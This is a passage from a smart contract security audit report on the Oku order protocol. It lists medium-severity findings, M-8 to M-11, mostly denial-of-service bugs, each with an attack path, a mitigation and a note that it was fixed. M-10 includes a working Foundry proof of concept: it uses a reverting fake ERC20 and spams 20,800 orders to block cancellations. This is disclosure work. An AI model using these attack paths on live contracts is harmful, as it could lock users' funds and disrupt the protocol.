        weth.transfer(_alice, 10 ether);
        weth.transfer(_bob, 10 ether);
        vm.stopPrank();

        vm.startPrank(_usdcWhale);
        usdc.transfer(_alice, 10000e6);
        usdc.transfer(_bob, 10000e6);
        vm.stopPrank();

        IERC20[] memory tokens = new IERC20[](2);
        tokens[0] = weth;
        tokens[1] = usdc;
        IPythRelay[] memory relays = new IPythRelay[](2);
        relays[0] = IPythRelay(0x384542D720A765aE399CFDDF079CBE515731F044);
        relays[1] = IPythRelay(0x9BDb5575E24EEb2DCA7Ba6CE367d609Bdeb38246);
        vm.prank(_admin);
        automation.registerOracle(tokens, relays);
        vm.prank(_admin);
        automation.setMaxPendingOrders(100);
    }

    function testBlacklist() public {
        address blacklisted = 0xE1D865c3D669dCc8c57c8D023140CB204e672ee4;
        vm.startPrank(_alice);
```

```
        usdc.approve(address(bracket), 1e6);

        bracket.createOrder(
            bytes(""),
            0,
            0,
            1e6,
            usdc,
            weth,
            blacklisted,
            0,
            0,
            0,
            false,
            bytes(abi.encode(""))
        );

        vm.stopPrank();

        vm.startPrank(_admin);
        vm.expectRevert();
        bracket.adminCancelOrder(393391966202639519487339051 05);
        vm.stopPrank();
    }
}
```

With the result being a revert from the usdc contract:

```
  [10903] Bracket::adminCancelOrder(393391966202639519487339051 05 [3.933e28])
    [3777] 0xaf88d065e77c8cC2239327C5EDb3A432268e5831::transfer(0xE1D865c3D669dCc8
↪  c57c8D023140CB204e672ee4, 1000000 [1e6])
      [3058] 0x86E721b43d4ECFa71119Dd38c0f938A75Fdb57B3::transfer(0xE1D865c3D669
↪  dCc8c57c8D023140CB204e672ee4, 1000000 [1e6]) [delegatecall]
        ← [Revert] revert: Blacklistable: account is blacklisted
      ← [Revert] revert: Blacklistable: account is blacklisted
    ← [Revert] revert: Blacklistable: account is blacklisted
  [0] VM::stopPrank()
    ← [Return]
  ← [Return]
```

Mitigation

The protocol should add validation for the recipient address for blacklisted users of the tokens added to the protocol that contain a blacklist.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue M-8: Create order can be DOSed as there is no compulsory fee collected during the creation/cancellation of orders

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/429

Found by

BugPull, krot-0025, xiaoming90, zxriptor

Summary

No response

Root Cause

No response

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Assume that:

- `maxPendingOrders` is set to 25, which is similar to the value configured in the test script
- `minOrderSize` is set to 10 USD, which is similar to the value configured in the test script

Bob (malicious user) can spend 250 USD to create 25 orders, which will cause the number of pending orders to reach the `maxPendingOrders` (25) limit. For each of the orders Bob created, he intentionally configured the order in a way that it will always never be in range. For instance, setting the `takeProfit`, `stopPrice`, and/or `stopLimitPrice` to `uint256.max - 1`. In this case, no one can fill his orders.

The protocol admin can attempt to delete Bob's order by calling `adminCancelOrder` function to remove Bob's order from the `pendingOrderIds` to reduce the size. When Bob's order is canceled, the 10 USD worth of assets will be refunded back to Bob.

The issue is that this protocol is intended to be deployed on Optimism as per the Contest's README where the gas fee is extremely cheap. Thus, Bob can simply use the refunded 10 USD worth of assets and create a new order again.

Thus, whenever the admin cancels Bob's order, he can always re-create a new one again. As a result, whenever innocent users attempt to create an order, it will always revert with a "Max Order Count Reached" error.

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L444

```
File: Bracket.sol
444:     function _createOrder(
..SNIP..
462:         require(
463:             pendingOrderIds.length < MASTER.maxPendingOrders(),
464:             "Max Order Count Reached"
465:         );
```

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L300

```
File: StopLimit.sol
300:     function _createOrder(
..SNIP..
320:         require(
321:             pendingOrderIds.length < MASTER.maxPendingOrders(),
322:             "Max Order Count Reached"
323:         );
```

Impact

Medium. DOS and broken functionality. This DOS can be repeated infinitely, and the cost of attack is low.

PoC

No response

Mitigation

Consider collecting fees upon creating new orders or canceling existing orders so that attackers will not be incentivized to do so, as it would be economically infeasible.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue M-9: `StopLimit` order cannot be filled under certain condition

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/449

Found by

xiaoming90

Summary

No response

Root Cause

No response

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Assume that the `MASTER.checkMinOrderSize` is 100 USD. Assume that the current USDC price is 1.1 USD per USDC.

Bob creates a `StopLimit` order with `order.tokenIn` = USDC, `order.amountIn` = 100e6 (100 USDC), and `order.stopLimitPrice` = 100 USD. During the order creation, the `MASTER.checkMinOrderSize` function will be executed and the total USD value is 110 USD (100 USDC * 1.1 USD). Thus, the check will pass as it is over the minimum size of 100 USD.

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/AutomationMaster.sol#L144

```
File: AutomationMaster.sol
142:     ///@notice determine if a new order meets the minimum order size
 ↪  requirement
143:     ///Value of @param amountIn of @param tokenIn must meed the minimum USD
 ↪  value
```

```
144:     function checkMinOrderSize(IERC20 tokenIn, uint256 amountIn) external view
↪  override {
145:         uint256 currentPrice = oracles[tokenIn].currentValue();
146:         uint256 usdValue = (currentPrice * amountIn) /
147:             (10 ** ERC20(address(tokenIn)).decimals());
148:
149:         require(usdValue > minOrderSize, "order too small");
150:     }
```

When the price of USDC drops from 1.1 to 0.9, Bob's `StopLimit` order will be in range, and the `performUpkeep` function will be executed to fill the order. A new bracket order will be created in Line 126 below, as per the instructions of Bob's `StopLimit` order, and the 100 USDC within the `StopLimit` order will be transferred to the newly created `Bracket` order.

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L126

```
File: StopLimit.sol
075:     function performUpkeep(
076:         bytes calldata performData
077:     ) external override nonReentrant {
..SNIP..
089:         //confirm order is in range to prevent improper fill
090:         (bool inRange, ) = checkInRange(order);
091:         require(inRange, "order ! in range");
..SNIP..
124:
125:         //create bracket order
126:         BRACKET_CONTRACT.fillStopLimitOrder(
127:             swapPayload,
128:             order.takeProfit,
129:             order.stopPrice,
130:             order.amountIn,
..SNIP..
140:         );
```

The `Bracket.fillStopLimitOrder` function will execute `Bracket._createOrder` function internally. However, the issue is that when the `Bracket._createOrder` function is executed to create a new Bracket order, it will perform a minimum order size check again at Line 473 below. Since the total value of 100 USDC is only worth 90 USD, which is below the minimum order size of 100 USD. Thus, the transaction will revert. As a result, Bob's `StopLimit` cannot be filled due to the revert.

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L473

```
File: Bracket.sol
444:     function _createOrder(
445:         uint256 takeProfit,
```

```
446:         uint256 stopPrice,
447:         uint256 amountIn,
448:         uint96 existingOrderId,
449:         IERC20 tokenIn,
450:         IERC20 tokenOut,
451:         address recipient,
452:         uint16 feeBips,
453:         uint16 takeProfitSlippage,
454:         uint16 stopSlippage
455:     ) internal {
..SNIP..
473:         MASTER.checkMinOrderSize(tokenIn, amountIn);
```

Impact

Medium. Loss of core functionality under certain conditions.

PoC

No response

Mitigation

Consider allowing the minimum order size check to be skipped if the order creation is initiated by the `StopLimit` contract when filling the `StopLimit` order. In this case, the `Bracket` order will be created without issues in the above described scenario.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue M-10: `cancelOrder` order can be DOSed due to unbounded loop.

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/589

Found by

056Security, 0x0x0xw3, 0x37, 0xNirix, 0xaxaxa, 0xeix, 0xlucky, Audinarey, Boy2000, Chinedu, Contest-Squad, ExtraCaterpillar, John44, Kenn.eth, Opeyemi, PeterSR, Ragnarok, Tri-pathi, ami, befree3x, bughuntoor, future2_22, gajiknownnothing, hals, iamandreiski, itcruiser00, joshuajee, mxteem, oualidpro, phoenixv110, rahim7x, s0x0mtee, vinica_boy, whitehair0330, xiaoming90, yuza101, zhoo, zxriptor

Summary

The `pendingOrderIds` arrays can grow too large making it impossible to cancel subsequent legitimate pending orders, this will create a permanent DOS for the `_cancelOrder` no one will be able to cancel orders not admin nor order reciepient.

Root Cause

The root cause of the issue lies in the `_cancelOrder` function that loops through the `pendingOrderIds` in search of the right one because this `pendingOrderIds` array can grow too large a DOS is bound to happen and this can be exploited by a hacker to ransomware the protocol.

https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L151

```
function _cancelOrder(Order memory order) internal returns (bool) {
    for (uint96 i = 0; i < pendingOrderIds.length; i++) {
        if (pendingOrderIds[i] == order.orderId) {
            //remove from pending array
            pendingOrderIds = ArrayMutation.removeFromArray(
                i,
                pendingOrderIds
            );

            //refund tokenIn amountIn to recipient
            order.tokenIn.safeTransfer(order.recipient, order.amountIn);

            //emit event
            emit OrderCancelled(order.orderId);

            return true;
```

```
        }
    }
    return false;
}
```

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. Attacker creates a malicious ERC20 token with fake transfers to ease the gas cost for this attack.
2. Attacker Creates 20800 orders using a worthless token as tokenIn, demanding 1 USDC per order.
3. They make it impossible for the admin to cancel the order because they deliberately revert the transfer on their malicious contract.
4. After this legitimate users will not be able to cancel order.

Impact

1. The cancelOrder function won't work and it will cost around $150 dollar to do it.
2. There is a financial ransomware gain where the attacker can set high tokens out and force the admin to pay more money for their worthless token, so this is incentivized.

PoC

Follow these steps to add foundry to the contract https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry

Install open zeppelin contracts

```
forge install https://github.com/OpenZeppelin/openzeppelin-contracts.git --no-commit
```

Copy and paste the code snippet below in the `/test/` folder.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {ERC20Mock} from
↪  "openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol";
import { AutomationMaster } from
↪  "../contracts/automatedTrigger/AutomationMaster.sol";
import { OracleLess } from "../contracts/automatedTrigger/OracleLess.sol";
import "../contracts/interfaces/uniswapV3/IPermit2.sol";
import "../contracts/interfaces/openzeppelin/ERC20.sol";
import "../contracts/interfaces/openzeppelin/IERC20.sol";

contract FakeERC20 {
    function transfer(address to, uint256 amount) external returns (bool) {
        revert("HACKED!");
        return false;
    }

    function transferFrom(address from, address to, uint256 amount) external
↪  returns (bool) {
        return true;
    }

}

contract PocTest is Test {

    AutomationMaster automationMaster;
    OracleLess oracleLess;
    IPermit2 permit2;
    IERC20 fakeErc20;
    IERC20 realToken;

    address attacker = makeAddr("attacker");
    address alice = makeAddr("alice");

    function setUp() public {
        automationMaster = new AutomationMaster();
        oracleLess = new OracleLess(automationMaster, permit2);
        fakeErc20 = IERC20(address(new FakeERC20()));
        realToken = IERC20(address(new ERC20Mock()));
        //MINT
        ERC20Mock(address(realToken)).mint(alice, 100 ether);
    }

    function testDosAttack() public {
        uint96 orderId;
```

```
        uint gasUsed = gasleft();
        vm.startPrank(alice);
        realToken.approve(address(oracleLess), 100 ether);
        orderId = oracleLess.createOrder(realToken, realToken, 1 ether, 1, alice,
↪  1, false, '0x0');
        gasUsed = gasleft();
        oracleLess.cancelOrder(orderId);
        console.log("Normal Cancel Gas Usage        : ", gasUsed - gasleft());
        vm.stopPrank();

        vm.startPrank(attacker);
        gasUsed = gasleft();
        for (uint i = 0; i < 20800; i++)
            oracleLess.createOrder(fakeErc20, fakeErc20, 1, 1, attacker, 10, false,
↪  '0x0');
        console.log("Attack Gas Usage               : ", gasUsed - gasleft());
        vm.stopPrank();

        vm.startPrank(alice);
        gasUsed = gasleft();
        orderId = oracleLess.createOrder(realToken, realToken, 1 ether, 1, alice,
↪  1, false, '0x0');
        oracleLess.cancelOrder(orderId);
        console.log("After Attack Cancel Gas Usage  : ", gasUsed - gasleft());
        vm.stopPrank();
    }

}
```

Output

```
[PASS] testDosAttack() (gas: 444968053)
Logs:
  Normal Cancel Gas Usage        :  9439
  Attack Gas Usage               :  394889776
  After Attack Cancel Gas Usage  :  30294277
```

From the test output, we can see that `20800` order is enough to cause a DOS on the `cancelOrder` function, and it will cost the attacker `394889776` is about $150 dollar.

Mitigation

Create a fuction that can use the index to cancel order.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Issue M-11: Malicious users can `createOrder` with `0 amount` and make `DOS` for all

Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/731

Found by

sakibcy

Summary

Malicious users can `createOrder` with 0 amount and can cause `DOS / block users` to `fillOrder`, `cancleOrder`

Impact

Malicious users will create huge numbers of orders with `0 amountIn`.

Now if anyone wants to `fillOrder` or `cancleOrder` they can not do it because:

- Due to the block gas limit, there is a clear limitation in the amount of operation that can be handled in an Array.
- `ArrayMutation::removeFromArray` is called on `fillOrder`, `cancleOrder` functions.
- Now because the malicious users have created a huge amount of orders with 0 amount,
- When normal users go to `fillOrder` or `cancleOrder` they simply `run out of gas` while iterating a huge array of `pendingOrderIds`.
- This makes them and every one impossible to do any further action on `fillOrder`, `cancleOrder`

PoC

OracleLess::createOrder

```
function createOrder(
    IERC20 tokenIn,
    IERC20 tokenOut,
    uint256 amountIn,
    uint256 minAmountOut,
    address recipient,
    uint16 feeBips,
    bool permit,
```

```
    bytes calldata permitPayload
) external override returns (uint96 orderId) {
    //procure tokens
    procureTokens(tokenIn, amountIn, recipient, permit, permitPayload);

    //construct and store order
    orderId = MASTER.generateOrderId(recipient);
    orders[orderId] = Order({
        orderId: orderId,
        tokenIn: tokenIn,
        tokenOut: tokenOut,
        amountIn: amountIn,
        minAmountOut: minAmountOut,
        recipient: recipient,
        feeBips: feeBips
    });

    //store pending order
    pendingOrderIds.push(orderId);

    emit OrderCreated(orderId);
}
```

Mitigation

We can add checks for the `createOrder` function something like this

```
require(amountIn > 0, "amount should be greater than 0")
```

Or can add code like the other Contracts

```
MASTER.checkMinOrderSize(tokenIn, amountIn);
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.